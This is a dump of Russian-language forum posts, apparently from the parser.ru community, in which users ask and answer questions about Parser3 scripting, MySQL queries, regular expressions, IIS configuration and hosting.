"37264","Здраствуйте, хотелось бы увидеть какой-нибудь \"движок\", который не жалко выложить на общий доступ. Для ознакомления. Просто удобно посмотреть как работает готовый продукт на парсере. Оч. важный для обучения пример. \
Спасибо. \
З.Ы. Плагиату нет!"
"37266","Когда в Тюмени говорят про лебедевцев, народ однозначно понимает про что идёт речь, никак не связывая это со студией. Дело в том, что в 70 км от города, в деревне или селе (статуса точно не знаю) под названием Лебедёвка, находится психиатрическая лечебница для душевно больных.\
Не так давно я своему недалёкому в области интернета другу рассказывал... что да как творится в интернете и конечно же упомянул студию Лебедева. На что мне дружок ответил: \"А чё идиотов тоже в инет пускают\"?\
Мне ничего не осталось ответить, как: \"Этих -- пускают\". :)"
"37268","если интересует, могу выложить брошеную версию движка, по базовым принципам engine от Misha v.3"
"37270","Скажите 7.000 записей в табличке, которая проверяется при каждой загрузке сайта, это много для mysql+parser2+freebsd+apache?"
"37272","Что-то вообще не могу понять, почему не работает следующая конструкция:\
\
[code]$lang[rus]\
$langs[^table::create{id	name\
0	eng\
1	rus}]\
\
$if_[^langs.menu{$lang ne $langs.name}[ || ]]\
^if($if_){левый язык}{правый язык}\
[/code]\
\
Получаю ошибку: \
invalid number (double)\
rus ne rus || rus ne eng"
"37275","ваши действия создали строку,\
[b]не[/b] код.\
\
буквальный fix такой:\
[code]\
^process{^^if(^$if_){левый язык}{правый язык}}\
[/code]\
\
правильный:\
[code]\
^if(^langs.locate[name;$lang]){добрый}{злой}язык\
[/code]"
"37276","С process пробовал, только вносил его внутрь if, результат был тот же...\
Ваш вариант сейчас попробую.\
\
А существенна ли разника по скорости if() и locate при, скажем, 10-20 условиях?\
(безотносительно языка)"
"37277","Помогите чайнику.....\
 Прикрутил к IIS parser,установил mySql 4.1.9.\
Разместил код из доки.Вроде все работает, парсер поместил \
/wwwroot/parser из пакета parser3_1_4.ru.exe.\
 При администрировании новостей и guestbook не вставляет данные в БД, читает из нее без проблем.\
 Если делаю connect к этой БД с сервера Apаchе с темже кодом все работает нормально.\
Наверное трабл в IIS..."
"37278","Заработало! Большое спасибо!"
"37279","Для этого требуется только загрузить в парсер один файл:\
database(Пример)\
\
Так же приважу код проги, автоматом создающий этот файл(database):\
\
$database[<?xml version=^\"1.0^\" encoding=^\"UTF-8^\"?>]\
$database[$database\
<!DOCTYPE root ^[]\
$list[^file:list[/database/;\\.xml^$]]\
^list.menu{$database[$database\
<!ENTITY ^file:justname[$list.name] SYSTEM ^\"$list.name^\">]}\
$database[$database\
^]>]\
$database[$database\
<root>]\
$list[^file:list[/database/;\\.xml^$]]\
^list.menu{\
$database[$database\
    &^file:justname[$list.name]^;]\
}\
$database[$database\
</root>]\
^database.save[/database/database]\
\
Может кому пригодиться... Рабочий код."
"37283","в auto.p в разделе @body[] стоит ^body_additional[] и на странице пишу @body_additional[]\
тра та та"
"37284","а древовидная структура сайта формируется, наверное только из обьектов типа leaf?"
"37285","Подскажите пожалуйста, есть ли в Украине хостинги с возможностью установки парсера. Желательно с cpanel.\
\
Важно физическое расположение серверов именно  в Украине.\
\
Большое спасибо!"
"37286","Вы о document() слышали?"
"37287","В свежевыкачанной и свежесобранной БД теплыми руками создать оригинальные таблички, вмемля здравому смыслу и чувству такта красиво разложить в них XML. Не забыть сделать всяких рюшечек в виде индексов. Все, можно подавать :)"
"37288","Учитывать сколько разделов FAQ, документации и поисков по форуму загрузил залогиненный юзер и пока он не наберет какого-то количества очков (за FAQ и поиски больше, за On-Line документацию меньше, а если скачал .chm так вообще герой) блокировать кнопку \"Добавить сообщение\", о чем его под ней честно и предупреждать: \"Мол рано вам еще глупые вопросы задавать!\" :)"
"37289","Редактирование (UPDATE) записей.\
Записи выводятся из бызы в формы. Все какие есть.\
Меняю значения, жму сохранить и при последующем (фигня, потом исправлю) обновлении\
в изменяемую форму вставляется значение первой по порядку формы, а не то, что я ввёл.\
Пытался всяко-разно, но не получается дать именно индивидуальное имя форме.\
[code]\
...\
^connect[$connect_string]{\
^if(def $form:do && $form:do eq 'del' && ^form:id.int[]){\
^void:sql{DELETE FROM test WHERE id = ^form:id.int(0)}\
}\
^if(def $form:delete&& ^form:id.int[]){\
^void:sql{UPDATE test SET test=$form:delete WHERE id= ^form:id.int(0)}\
}\
$test[^table::sql{SELECT id, test FROM test ORDER BY id DESC}[$.limit(0) $.offset(0)]] \
^if($test){ \
^test.menu{\
 <input type=\"text\" name=\"delete\" value=\"$test.test\"><br>\
		 (<a href=\"?id=$test.id\">Сохранить изменения</a>)<br>\
		 (<a href=\"?do=del&id=$test.id\">Удалить</a>)<br>\
        }\
...\
[/code]"
"37290","IIS и mysql на сервере а на рабочем компе установлен Денвер.\
И там и там раместил код из доки.\
На рабочем компе я просто правил connect с базой на сервере что бы проверить , срабатывает все как надо когда сервером Apach.\
 Если это делаешь на IIS выдает ошыбку \"The page you are looking for cannot be displayed because the page address is ncorrect.\" \"HTTP 405 - Resource not allowed Internet Information Services\" \
 Я думаю если проблемы с правами то и Apach тогда глючил...."
"37292","Парсер и вынимает только значение первого поля.\
\
Мне так кааца."
"37293","Возможно ли одним регулярным выражением выдрать из текста все предложения в кавычках? У меня получаеться почему то только с первой по попоследнюю \" . Можно ли где нить в сети скачать книгу  Дж. Фридла «Регулярные выражения»?"
"37297","Я не нашел и пришлось купить, но не пожалел! Его можно читать просто как интересную книгу. Дядька очень постарался при написании."
"37298","В прошлый раз не успел дописать. Я имел ввиду БД на основе Mysql.\
Как лучше обрабатывать xml файл чтобы распихать его в Mysql?\
Кто-нибудь наверняка сталкивался с этим."
"37299","Код:\
[code]\
$time[10800]\
^eval(^date_now.unix-timestamp[]-$time)\
[/code]\
\
Выдаёт что то вроде 1.10871e+009 \
\
Это нормально? Мне надо получить текущее время минус 10800 сек."
"37302","Заявляю это как обладатель собственного [url=\"http://www.typograf.ru\"]\"Типографа\"[/url].\
\
Вы никогда не определите \"что текст \"написан\" в тройных кавычках.\
И что его нужно взять от 1-й до 3-й.\
\
Если ваш случай проще, то Миша уже ответил."
"37303","это если вам нужно просто сдвинуть, без unixtime."
"37304","Нет мой вариант конечно же проще, я же только учусь. Ну дак помогите новичку. Напишите пример как выдрать из текста ВСЕ фрагменты находящийся между известными символами(например кавычками). И пожалуйста скинте линк где можно подробно почитать о рег. выражениях, в учебнике маловато примеров.\
Заранее спасибо."
"37305","Может ли parser читать файлы по строчкам типа\
.doc (word)? где про это можно почитать?"
"37310","вот что тут написано\
\
>если hosting не win32, можно найти программку, достающую plain >text из .doc файла. это отдельные усилия. готовую не знаю. а >самому писать с нуля — нетривиально.\
>наличие готовой не означает, что она сумеет справиться с >русскими буквами и последними версиями office.\
\
почему есть Excel парсер, и нет Word парсера не понятно\
совсем, по сути одни и те же технологии"
"37312","1. У тебя на компьютере установлен Денвер (Апач+MySQL+PHP+Parser).\
2. Ты выполнял примеры на Парсере (из доки) и у тебя на Денвере все работало.\
\
3. Потом ты установил Парсер и MySQL на IIS-сервер, котоый находится не на твоем рабочем комьпьютере.\
4. Все примеры работают на IIS, но не работают некоторые моменты в которых выполняется добавление строк в таблицу БД.\
\
я тебя правельно понимаю?"
"37313","Спасибо разобрался ....\
ссылка была например на администрирование /wwwroot/admin/\
по умолчанию загружался index.html там лежащий.\
Почемуто в IIS необходимо указать полностью /wwwroot/admin/index.html и все заработало... \
а если как выше указано не работает..."
"37314","Апач (в Денвере с Парсером) настроен так, что если указан адрес к директоии, а не к файлу, то открывается файл по умолчанию (index.html или др).\
\
В твоем IIS такой настройки не было. (это можно сделать где-то в Management Console)"
"37315","лично мне при отладке кода удобно прямо в тексте страницы вставлять разные сообщения типа \"Данные ОК, пытаюсь вставить\" или \"Ошибка: Данные не вставлены\"... напрямую везде писать, а потом везде убирать чтобы посмотреть на страницу без мусора мне стало лень, и поэтому родился такой простой класс debug.p\
[code]\
@CLASS\
debug\
\
@auto[]\
\
@init[iparams]\
  $level[^hash::create[$iparams]]\
\
@inf[code]\
  ^if(^level.inf.int(0)){\
#    INFO: \
    $code\
  }\
\
@ok[code]\
  ^if(^level.ok.int(0)){\
    <font color=green>\
      OK: $code\
    </font>\
  }\
\
@err[code]\
  ^if(^level.err.int(0)){\
    <font color=red size=+1>\
      <b>\
        ERROR: $code\
      </b>\
    </font>\
  }\
\
@warn[code]\
  ^if(^level.warn.int(0)){\
    <b>\
      WARNING: $code\
    </b>\
  }\
[/code]\
\
Пример инициализации в методе @auto[] файла auto.p в корне сайта - включен показ почти всех отладочных сообщений, только сообщения уровня WARN временно не выводятся, так как строка закомментирована...\
[code]\
  ^use[debug.p]\
\
  $rem[^debug::init[\
      $.inf[1]\
      $.ok[1]\
      $.err[1]\
#      $.warn[1]\
  ]]\
[/code]\
\
ну и простой пример просто из кода страниц уже в любом месте:\
[code]\
    ^rem.inf{<br>Начинаю вставку - <br>$x $y $z <br>$comment }\
[/code]\
это сообщение будет выведено, так как при инициализации задан параметр $.inf[1]\
\
Если я где-то допустил грубые ошибки, которые не понимаю - прошу указать...\
разделение на разные сообщение чисто условное - простые отладочные сообщения, успешно, ошибки и предупреждения (например, об вынужденом использовании значений по-умолчанию)..."
"37316","\"Пытался всяко-разно, но не получается дать именно индивидуальное имя форме.\" Это ещё в первом посте. В том-то и проблема..."
"37318","1. Он загружает файл в текстовом режиме (то есть выбор из двух - бинарный и тестовый).\
2. Попробовал все равно...\
3. Попробовал все равно..."
"37319","Вот есть один. [url=\"http://www.besthosting.com.ua/price.htm\"]http://www.besthosting.com.ua/[/url]. Сам юзаю, cpanel есть и parser заводится с полоборота ;) (Он такой ;))"
"37321","На [url=\"http://www.parser.ru/docs/lang/app1.htm\"]данной странице[/url] из документации сказано, что методам \
file::load\
table::load[]\
xdoc::load \
можно задать дополнительные опции загрузки в виде хеша. Однако, для метода xdoc::load такая возможность отсутствует, что очень жаль."
"37322","Господа, я добросовестно ползаю по распечатке документов и форуму уже вторые сутки, но не могу найти ответ на один простецкий, наверное, вопрос.\
\
Методы можно объявлять в .html только если вызывать их из @main[]?"
"37323","... необходимо использовать связку ^file::load + ^xdoc::create. В файловом консрукторе можно задавать нужные параметры.\
\
p.s. http://www.parser.ru/forum/?id=34988\
http://www.parser.ru/forum/?id=34992\
p.p.s. А в, приведенном Вами, куске документации явно есть неточность."
"37324","Файл может состоять только из методов (@main совершенно не обязан присутствовать в их числе), которые могут быть вызваны из любого друго метода класса MAIN, либо вобще не содержать ни одного метода, тогда все тело фала будет считаться переопределением метода @main класса MAIN. А вот делать гибрид [случай когда неименованный кусок кода идет в начале файла, а после него определяются другие методы] нельзя."
"37325","Хорошо. Тогда другой вариант кретинского вопроса:\
\
А будет ли работать метод, помещенный в .html - файле, если @main [b]явно[/b] не прописывается вообще нигде?"
"37326","Ну, допустим, вот такой вид .html:\
\
@xxx[]\
...\
\
@yyy[]\
...\
\
^aaa[]\
^bbb[]\
^ccc[]\
\
Жизнеспособен?"
"37327","Если не определен ни один @main (явно или не явно[такой вариант вполне возможен]), то Парсер выдаст ошибку.\
\
В Вашем коде вызовы методов aaa, bbb, ccc будут просто являться частью последнего метода [yyy].\
\
Методика сборки класса MAIN хорошо описана в документации."
"37328","Спасибо Максим..."
"37329","а, вот такой выдаст. \
^aaa[]\
^bbb[]\
^ccc[]\
\
@xxx[]\
...\
\
@yyy[]\
..."
"37330","Если ни одна строка небудет начинаться с \"Б то всё написанное считается содержимым метода @main[]"
"37331","Теперь, когда все запахало, могу и суть проблемы изложить. =)\
\
Прежде всего моей ошибкой, как я понимаю, была попытка использования третьего файла через @USE. Все-таки методы через него прописывать - нереально? Только классы? И из-за этого нюанса (либо какого-то другого, если я неправильно усвоил урок) у меня вылезали самые разные ошибки (в зависимости от того, как я группировал строки в своем .html) - от \\n до \"непрописанного\" MAIN. Вот такой прикол.\
\
Как только из третьих файлов скрипты были перенесены в .html и адекватно прописан @main - все залетало. \
\
Возможно, все-таки я что-то не понял, и существует возможность вынести отдельные методы в третьи файлы, к которым можно было бы обращаться из .html? Потому что в моем случае это было бы оченно удобно."
"37332","Господа, спасибо за наводящие подсказки. ;)"
"37333","Если в подключаемом файле нет ключевого слова @CLASS, то процедуры из внешнего файла вставляются в класc MAIN и доступны из любого класса или метода.\
\
Именно на таком принципе и сделаны Мишины [url=http://www.parser.ru/examples/lib/]Полезные пользовательские операторы[/url]."
"37334","1. Не надо делать преобразование ^level.inf.int(0) - оно медленное. Достаточно проверять (def $level.inf).\
При инициализации просто не указывать конкретные ключи.\
\
2. Я бы добавил\
[code]@comment[code]\
^if(def $level.comment){\
    <!-- $code -->\
}[/code]\
Не всегда удобно, когда вылезают разноцветные надписи, зато в Page Source сразу будет видно что, где и как."
"37335","на [url=\"http://www.pwstudio.ru/russian/\"]pwstudio.ru[/url] принимаеться оплата с украины без проблем, и цены самые маленькие в инете. \
Parser просто летает. И техническая поддержка всегда помогает!"
"37336","Привидите пример XPATH выражения который будет использоваться в <xsl:if test=\" \">\
Задача , проверить на существование узел anoucment\
Стоит перебор foreach\
\
Вот фрагмент кода\
\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:template match=\"/\">\
<xsl:for-each select=\"site/channel/program\">\
<xsl:value-of select=\"name\"/><xsl:text> </xsl:text><xsl:value-of select=\"@time\"/><xsl:text>     </xsl:text><xsl:value-of select=\"@length\"/> <xsl:if test=\"ВЫРАЖЕНИЕ\">\
</xsl:text>\
</xsl:for-each>\
</xsl:template>\
</xsl:stylesheet>"
"37337","[code]\
@init[params]\
# то-же самое можно сделать foreach-ем.\
$level[\
  $.inf(^params.inf.int(0))\
  $.ok(^params.ok.int(0))\
  $.err(^params.err.int(0))\
  $.warn(^params.warn.int(0))\
]\
[/code]\
\
и соотв:\
[code]\
@inf[code]\
  ^if($level.inf){\
#    INFO: \
    $code\
  }\
[/code]\
\
и ещё мне кажется не всегда удобно выводить все прямо в код.\
а если код не возвращается (вызвали в конструкторе или есть $result)?\
\
мне кажется можно предусмотреть вариант когда все сообщения накапливаются (table?) и потом каким-нить методом выводятся в конце работы скрипта. заодно можно засекать время в этих контрольных точках."
"37338","видимо, писавший, не сильно в ладах с основами русского языка...\
А насчет \"Parser просто летает\" - дык смотри на лого, ясен пень, что не ползает, но не так уж просто... :)"
"37340","ЕЩЕ какой валидный\
Работает\
Мне нужен тока отбор по условию"
"37342","[code]\
$table[^table::create{....}]\
$i(0)\
^while($i<^table.count[]){....}\
[/code]\
^table.count вычислится один раз или будет вычислятся на каждой итерации? То есть имеет ли смысл для оптимизации делать так:\
[code]\
$table[^table::create{....}]\
$i(0) $rows(^table.count[])\
^while($i<$rows){....}\
[/code]"
"37344","ставлю выражение\
\
^str.match[(?<![^^\\n])\\n][g]{}\
(источник: http://spearance.tura.ru/parser3/regex/?no=2)\
\
а оно ругается \
\
')\\n' regular expression syntax error - lookbehind assertion is not fixed length [<no type>]\
\
пробовал ставить ^ не помогает, может не туда ставил\
\
в чем может быть моя проблема?"
"37349","у perl есть библиотека для парсинга Excel"
"37350","Сразу сори за корявое объяснение, нужно, чтобы все checkbox  формы выбирались при выборе checkbox \"Select all\". Подскажите, возможно ли это средствами парсера? Если нет, может кто-то уже имел с этим дело и подкинет скриптик. Заранее спасибо."
"37351","Если без перезагрузки страницы (или фрейма) - только JavaScript.\
В почтовых интерфейсах такое есть - код JavaScript ведь открытый, посмотрите как сделано. Если с перезагрузкой (что конечно снижает юзабилити) - можно Parser."
"37352","Вот конкретная задача.\
дан текст\
-------------------------------------\
[LEAGUE=\"Американский футбол. NFL. Матчи за попадание в плей-офф.\"]\
MONEYLINE|Индианаполис|Денвер|1.19|4.70|\
MONEYLINE|Грин-Бэй|Миннесота|1.37|3.10|\
[ENDLEAGUE]\
[LEAGUE=\"Баскетбол. NBA. Регулярный чемпионат 2004-2005 гг.\"]\
MONEYLINE|Нью-Йорк|Портленд|1.48|12.70|2.75|\
TOTAL|Нью-Йорк|Портленд|191|1.93|1.93|\
HANDICAP|Нью-Йорк|Портленд|-5|1.93|+5|1.93|\
[ENDLEAGUE]\
[LEAGUE=\"Баскетбол. Чемпионат Испании. 16-й тур.\"]\
[ENDLEAGUE]\
[LEAGUE=\"Баскетбол. Чемпионат Италии. 17-й тур.\"]\
MONEYLINE|Биелла|Скиппер Болонья|3.30|15.50|1.30|\
TOTAL|Биелла|Скиппер Болонья|162.5|1.86|1.86|\
HANDICAP|Биелла|Скиппер Болонья|+6.5|1.86|-6.5|1.86|\
[ENDLEAGUE]\
--------------------------------------\
\
Нужно выдрать названия лиг.\
Американский футбол. NFL. Матчи за попадание в плей-офф.\
Баскетбол. NBA. Регулярный чемпионат 2004-2005 гг.\
Баскетбол. Чемпионат Испании. 16-й тур.\
Баскетбол. Чемпионат Италии. 17-й тур.\
\
Или я обратился не по адресу? Если так то пошлите меня туда, где мне помогут. =)"
"37353","надо так:\
[code]$text[^str.match[(?<![^^\\n])\\n][g]{}][/code]\
хотя правильнее так:\
[code]$text[^str.match[(?<=\\n)\\n][g]{}][/code]\
\
P.S. Копилка не обновлялась давно, многие правила не оптимальны."
"37355","[code]\
$table{^table::create{league}}\
^text.match[(\\[league=\")(.+?)(\"\\])][gi]{^table.append{$match.2}}\
\
# Теперь можно пройтись по таблице и вывести так,\
# как вам надо, например списком:\
\
<ul>\
^table.menu{\
	<li>$table.league</li>\
}\
</ul>\
[/code]\
\
ПостСкриптум\
На работоспособность не проверял, но принцип, думаю, понятен."
"37356","и не писать конструкции вида:\
[code]\
$table{^table::create{league}}\
^text.match[(\\[league=\")(.+?)(\"\\])][gi]{^table.append{$match.2}}\
[/code]\
\
если можно написать:\
[code]$table[^text.match[\\[league=\"(.+?)\"\\]][gi]][/code]"
"37357","Почемуто когда скрипт динамически гинерирует этот код Парсер ругаеться\
[code]\
insert into tv_program(channel_id,title,prog_date,length,description) values(33,\"Фильм 'Джеки, Этель и Джоан: женщины \"Камелота\"'. Минисериал. США, 2000\",'2005-02-11 03:00','90',\"\")[/code]\
\
[quot]\
You have an error in your SQL syntax.  Check the manual that corresponds to your MySQL server version for the right syntax to use near 'Камелота\"'. Минисериал. США, 2000\",'2005-02-11 03:00','90',\"\")'[/quot]\
\
Где ошибка?"
"37358","... слишком большая вложенность неэкранированных кавычек.\
\
Вы лучше покажите сам код, который формирует запрос."
"37359","^void:sql{insert into tv_program(channel_id,title,prog_date,length,description) values($channel_id,\"$program.title\",'$datetime','$program.length',\"$program.description\")}"
"37360","Никаких лишних taint'ов при ее получении нет?"
"37361","Не одного\
Принцип\
Имеем XML - Парсерим его через XSL - После парсеринга получаеться таблица а потом прошустриваем таблице и загоняем в MYSQL несколько десятков записей вполне удачно влились"
"37362","Можно попробовать следующее: \
1. Вместо $program.title написать ^taint[sql][$program.title].\
2. Заменить перед запросом все кавычки на экранированные через ^string.replace."
"37363","Конечно же я догодался написать почти так же...\
Попробуем еще раз\
----Текст-----------------\
[LEAGUE=\"Американский футбол. NFL. Матчи за попадание в плей-офф.\"]\
MONEYLINE|Индианаполис|Денвер|1.19|4.70|\
HANDICAP|Грин-Бэй|Миннесота|-6|1.85|+6|1.95|\
[ENDLEAGUE]\
[LEAGUE=\"Баскетбол. NBA. Регулярный чемпионат 2004-2005 гг.\"]\
[ENDLEAGUE]\
[LEAGUE=\"Баскетбол. Чемпионат Испании. 16-й тур.\"]\
MONEYLINE|Манреса|Барселона|2.65|15.00|1.45|\
TOTAL|Манреса|Барселона|153.5|1.86|1.86|\
HANDICAP|Манреса|Барселона|+5|1.86|-5|1.86|\
MONEYLINE|Тенерифе|Ллеида|1.60|14.50|2.25|\
TOTAL|Тенерифе|Ллеида|160.5|1.86|1.86|\
HANDICAP|Тенерифе|Ллеида|-3.5|1.86|+3.5|1.86|\
[ENDLEAGUE]\
\
\
-----------------Код---------------------------\
^text.match[(\\[league=\")(.{15,100}?)(\"\\])\\n][gi]{$match.2 <hr>}\
\
\
\
-------------Результат------------------------\
Американский футбол. NFL. Матчи за попадание в плей-офф. \
--------------------------------------------------------------------------------\
MONEYLINE|Индианаполис|Денвер|1.19|4.70| HANDICAP|Грин-Бэй|Миннесота|-6|1.85|+6|1.95| [ENDLEAGUE] Баскетбол. NBA. Регулярный чемпионат 2004-2005 гг. \
--------------------------------------------------------------------------------\
[ENDLEAGUE] Баскетбол. Чемпионат Испании. 16-й тур. \
--------------------------------------------------------------------------------\
MONEYLINE|Манреса|Барселона|2.65|15.00|1.45| TOTAL|Манреса|Барселона|153.5|1.86|1.86| HANDICAP|Манреса|Барселона|+5|1.86|-5|1.86| MONEYLINE|Тенерифе|Ллеида|1.60|14.50|2.25| TOTAL|Тенерифе|Ллеида|160.5|1.86|1.86| HANDICAP|Тенерифе|Ллеида|-3.5|1.86|+3.5|1.86| [ENDLEAGUE] \
\
\
\
З.Ы. append говорит параметр маст стринг"
"37364","Спасибо."
"37365","Тогда будет создана таблица как минимум с четырмя столбцами: prematch, match, postmatch + под номерами от единицы и выше — столбцы с подстроками, соответствующими фрагментам шаблона, заключенным в круглые скобки. И по таблице надо будет проходиться так: ^table.menu{$table.1} (в данном примере).\
\
Если столбцов становиться больше — код становиться неудобочитаем, приходится держать в голове под каким номером что должно прийти.\
\
На мой взляд правильнее будет создать именованную таблицу, а потом матчем добавлять в нее строки.\
\
Для такого простого примера действительно не стоит все усложнять, но если в будущем он решит так же и все остально обрабатывать? Добавлять в таблицу не только названия лиг?\
\
ИМХО. Поправьте, если я не прав."
"37366","...причем абсолютно.\
\
1. Лишние столбцы создаются только при указании ключа \"'\".\
2. Вы расходуете паямти в два раза больше.\
3. Вы нагружаете процессор лишними операциями.\
4. В Вашем выражении куча лишних скобок.\
 \
Итог:\
[code]$table[^text.match[LEAGUE=\"(.+?)\"][g]]\
^table.menu{$table.1}[<br />][/code]"
"37367","http://www.parser.ru/forum/?id=37356\
\
^ Возвращает тоже самое?"
"37368","4. Про скобки — согласен.\
3. Хорошо, даже если и не создаются лишние столбцы, тогда все равно код неудобочитаем при количестве столбцов больше одного."
"37369","Если хочется особой красоты, то можно сделать так:\
[code]$table[^text.match[LEAGUE=\"(.+?)\"][g]]\
$league(1)\
^table.menu{$table.$league}[<br />][/code]"
"37371","[code]$animal любит $hash_of_hash.$animal.food[/code]\
надо [code]$animal любит $hash_of_hash.${animal}.food[/code]\
или [code]$animal любит $hash_of_hash.[$animal].food[/code]\
\
ps: Может я конечно ошибаюсь."
"37373","[code]\
^if(^image::measure[http://www.parser.ru/i/logo.gif]){есть картинка}{нет картинки}\
[/code]\
\
почему выдаёт 404 ошибку? С локальными файлами работает нормально"
"37374","Если очень хочется измерить размер картинки на стороннем сервере, то сначала загрузите ее через ^file::load, а потом измеряйте."
"37375","Нужно убедиться, что файл существует и [b]является картинкой[/b]. Его размеры не сильно интересны.\
\
Можно это сделать, не загружая файл на свой сервер?"
"37376","Т.е. существование еще можно проверить HEAD-запросом, но вот картинка это или нет без загрузки не определить никак."
"37378","[code]\
^try{ \
  $file[^file::load[binary;http://www.parser.ru/i/logo.gif][\
    $.method[HEAD]\
  ]]\
# Анализируем content-type\
  ^if($file.content-type eq \"image/gif\"){$isImage(1)}{$isImage(0)}\
}{\
# Если пришел статус не равный 200 считаем, что файла нет\
    ^if($exception.type eq http.status){\
       $isImage(0)\
       $exception.handled(1)\
    }\
}\
\
[/code]"
"37379","вроде как это аналогично загрузке файлов во временную папку на локальный сервер, т.к. картинка сохраняется в переменной. Или я не прав?\
\
При работе с ^file::load[] возникла еще одна проблема\
\
[code]\
$url[$form:url]\
\
$file[^file::load[binary;$url][\
$.method[HEAD]\
]]\
[/code]\
\
Передав через запрос значение [i]?url=http://parser.ru/i/logo.gif[/i] получаю такую ошибку:\
\
[code]http://parser.ru/i/logo.gif\
\
does not start with http://[/code]\
\
taint/untaint не помогает. Что я делаю не так?"
"37381","заголовок content-type обычно определяется относительно расширения файла, т.е. можно просто посмотреть расширение, вообще ничего не загружая, эффект будет похожим.\
В принципе можно попробовать загрузить кусочек файла с заголовком, и проверять уже по нему, получится немного более реально:\
[code]^try{ \
  $file[^file::load[text;http://www.parser.ru/i/logo.gif][\
    $.limit(3)\
  ]]\
  ^if($file.text eq \"GIF\"){$isImage(1)}{$isImage(0)}\
}{\
# Если пришел статус не равный 200 считаем, что файла нет\
    ^if($exception.type eq http.status){\
       $isImage(0)\
       $exception.handled(1)\
    }\
}[/code]\
\
P.S. Теоретически это должно работать, практически-же получаем \"invalid option passed\"... где я ошибся?"
"37382","[code]\
###### auto.p\
@auto[]\
...\
$MAIN:oSQL[^mysql::init[$SQL.connect-string]]\
...\
\
###### index.html\
^MAIN:oSQL.table[SELECT field_list FROM table]\
[/code]\
\
Выдает ошибку\
[quote]\
outside of 'connect' operator\
[/quote]\
\
\
А теперь вопрос: почему?"
"37383","... на предмет работы с HTTP-серверами."
"37384","Для простых случаев годится."
"37385","=)\
Скоро betsee.com"
"37386","[code]\
###### index.html\
^MAIN:oSQL.server{\
 $table[^MAIN:oSQL.table[SELECT field_list FROM table]]\
}\
[/code]"
"37389","[code]@main[]\
^pSQL.server{\
#  Тут пишем все, что нам нужно...\
}[/code]\
\
Понятное дело, что в html-Файлах переопределения @main[] быть не должно."
"37390","Но теперь возник вопрос: в файле я пишу:\
\
[code]\
@auto\
$var[^table::sql{query}]\
# или:\
$var[^MAIN:oSQL.table{query}]\
[/code]\
\
И вываливается таже самая ошибка"
"37391","Обращения к sql-Серверу могут происходить только внутри оператора ^connect. В контексте класса SQL - ^sql.server."
"37392","Ключевой момент — @auto[]\
\
В других случаях работает, т.е. если я пишу запрос в любом другом методе, все прекрасно работает, в auto.p — не работает :("
"37393","Элементарный тест:\
[code]@auto[]\
  ^connect[$SQL.connect-string]{\
    $i[^int:sql{select 2+2}]\
  }\
\
@main[]\
  $i\
[/code]"
"37394","А я хочу только в главном, все последующие перекрывают главный метод auto[], заменяя его новым, в котором нету ^connect-a\
\
:("
"37395","... инициализации oSQL. Ну например:\
auto.p\
[code]\
@USE\
lib.p\
mysql.p\
...\
\
@auto[]\
...\
\
@main[]\
^try{\
	^MAIN:pSQL.server{\
		^content[]\
	}\
}{\
	^if($exception.type eq 'sql.connect'){\
                ...\
		$exception.handled(1)\
	}\
}\
[/code]\
Только у меня pSQL :) Так вот, если вы сделаете вызов ^pSQL. ... с запросом из  auto[] естественно будет ошибка."
"37398","Но можно класс написать и запихать вызов в его auto[] тогда всё будет ок."
"37401","[b]Корневой auto.p[/b]\
\
[code]\
@USE\
mysql.p\
lib.p\
\
@auto[]\
$SQL.connect-string[mysql://root:@localhost/ngdt_new]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
\
@main[]\
^MAIN:pSQL.server{\
	^body[]\
}\
[/code]\
\
[b]index.html в папке new[/b]\
[code]\
@auto[]\
^try{\
	$a(^MAIN:pSQL.int[SELECT 3 + 3])\
}{\
	$exception.handled(1)\
	$a[не канает]\
}\
\
@body[]\
$i(^MAIN:pSQL.int[SELECT 2 + 2])\
\
^$i - $i\
<br>\
^$a - $a\
[/code]\
\
Получаю на выходе\
[quote]\
$i - 4 \
$a - не канает\
[/quote]\
\
[b]Зачем мне это нужно:[/b]\
Хочу в @auto[] объявить переменные, которые достаются из базы, а пользовать их как в @body, так и в @main, который в главном @auto.p"
"37403","Любое обращение к SQL серверу делается только из оператора ^connect. И никак иначе! Писать его прийдется в любом случае. Почему Вы это не хотите делать малопонятно - на скорости работы кода это никак не скажется."
"37404","Есть одна проблема. Почему-то изредка в лог парсера записывается ошибка, что метод @title[] не найден, хотя этот метод описан, а что еще более странно, я захожу на ту страницу с которой пришла ошибка и все работает (захожу не только я, на эти страницы заходит множество пользователей и у них тоже все в порядке).\
В html прописано так:\
[code]\
@body_header[]\
\
@title[]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\
<html>\
<head>\
<style type=\"text/css\"><!--\
body{margin:0px; padding:0px;}\
--></style>  \
<title>Пиломатериалы брус вагонка пиловочник - Лесоторговая система.</title>\
<meta name=\"description\" content=\"Лесоторговая система woodtrade.ru это быстрый поиск поставщиков пиломатериалов, вагонки, пиловочника. Для поиска вы можете воспользоваться биржей\">\
<meta name=\"keywords\" content=\"пиломатериалы, покупка пиломатериала, пиловочник, продажа пиловочника, вагонка, лес, лесная биржа, доска объявлений, wood, timber, lumber\">\
<meta http-equiv=\"pragma\" content=\"no-cache\">\
<meta name=\"charset\" content=\"Windows-1251\">\
<meta name=\"expires\" content=\"Wed, 26 Feb 2010 08:21:57\">\
<meta name=\"robots\" content=\"Index, Follow\">\
<link href=\"/files/style.css\" rel=\"stylesheet\" type=\"text/css\">\
</head>\
<body>\
\
@body_additional[]\
^index_pos[]\
^index_board[]\
^search_msg[]\
^index_subs[]\
^info[]\
\
\
@unchecked[]\
^body_additional[]\
\
[/code]\
\
Это главная страница. Сегодня в логе было следующее.\
\
[Sun Feb 20 12:15:54 2005] /: /home/woodtrad/public_html/auto.p(13:2): 'title' undefined method [parser.runtime]\
\
@title[] требуется здесь:\
\
[code]\
@main[]\
^title[]\
<table border=\"0\" width=\"100%\" cellpadding=\"0\" cellspacing=\"0\">\
<tr>\
	<td>^header[]</td>\
</tr>\
<tr>\
	<td>^body[]</td>\
</tr>\
<tr>\
	<td>^footer[]</td>\
</tr>\
</table>\
</body>\
</html> \
[/code]\
\
Однако захожу я и множество других пользователей и все работает. В чем проблема? Поробуйте зайти woodtrade.ru\
Заранее благодарен."
"37405","Я прекрасно это понимаю. Просто не хочу каждый раз писать коннект, а хочу создать объект, через который все будет происходить. Как это сделано у Миши. Только я не могу понять: почему из @auto[] нельзя вызвать ^MAIN:pSQL.... ???"
